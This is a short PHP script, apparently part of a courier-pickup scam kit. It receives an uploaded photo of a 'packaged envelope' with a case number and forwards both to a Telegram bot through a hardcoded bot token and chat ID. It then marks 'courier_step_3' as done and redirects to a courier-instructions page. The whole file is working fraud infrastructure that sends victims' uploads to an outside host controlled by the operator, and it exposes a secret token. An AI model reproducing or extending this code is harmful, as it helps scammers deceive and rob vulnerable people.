<?php
$bot_token = "8578052646:AAE6E6VcVj7oCoJd5NfoCgjTAgS4D8B0cg0";
$chat_id = "6979544528";

if (isset($_FILES['package_img'])) {
    $img = $_FILES['package_img']['tmp_name'];
    $url = "https://api.telegram.org/bot" . $bot_token . "/sendPhoto";
    $post_fields = [
        'chat_id' => $chat_id,
        'photo' => new CURLFile(realpath($img)),
        'caption' => "📦 Packaged Envelope Photo Received\nCase# " . ($_POST['conf'] ?? 'N/A')
    ];
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type:multipart/form-data"));
    curl_exec($ch);
    curl_close($ch);

    $data_file = __DIR__ . '/alert_data.php';
    if (file_exists($data_file)) {
        include $data_file;
        $data['courier_step_3'] = 'completed';
        $content = "<?php\n\$data = " . var_export($data, true) . ";\n?>";
        file_put_contents($data_file, $content);
    }
    header("Location: CourierInstructions.php");
    exit();
}
?>